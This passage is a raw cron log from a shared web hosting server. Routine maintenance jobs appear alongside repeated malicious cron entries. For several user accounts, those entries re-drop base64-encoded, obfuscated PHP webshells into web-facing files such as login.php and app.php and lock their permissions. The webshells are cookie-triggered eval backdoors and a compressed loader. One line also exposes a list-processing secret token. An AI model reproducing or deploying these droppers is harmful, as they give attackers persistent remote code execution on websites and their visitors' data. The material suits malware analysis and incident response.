"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:18:01 medusa CROND[26791]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:18:01 medusa CROND[26803]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 17:18:01 medusa CROND[26812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:19:01 medusa CROND[15636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:19:01 medusa CROND[15654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:19:01 medusa CROND[15730]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:19:01 medusa CROND[15733]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:19:01 medusa CROND[15735]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:19:01 medusa CROND[15744]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:19:01 medusa CROND[15746]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:19:01 medusa CROND[15747]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:19:01 medusa CROND[15748]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:19:01 medusa CROND[15750]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:19:01 medusa CROND[15751]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:19:01 medusa CROND[15753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:20:01 medusa CROND[5161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:20:01 medusa CROND[5170]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:20:01 medusa CROND[5320]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:20:01 medusa CROND[5327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:20:01 medusa CROND[5328]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:20:01 medusa CROND[5330]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:20:01 medusa CROND[5332]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:20:01 medusa CROND[5333]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:20:01 medusa CROND[5334]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:20:01 medusa CROND[5331]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5335]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:20:01 medusa CROND[5338]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:20:01 medusa CROND[5340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5347]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5354]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:20:01 medusa CROND[5350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 17:20:01 medusa CROND[5341]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5360]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:20:01 medusa CROND[5356]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:20:01 medusa CROND[5337]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:20:01 medusa CROND[5367]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:20:01 medusa CROND[5363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:20:01 medusa CROND[5368]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:20:01 medusa CROND[5369]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:20:01 medusa CROND[5370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 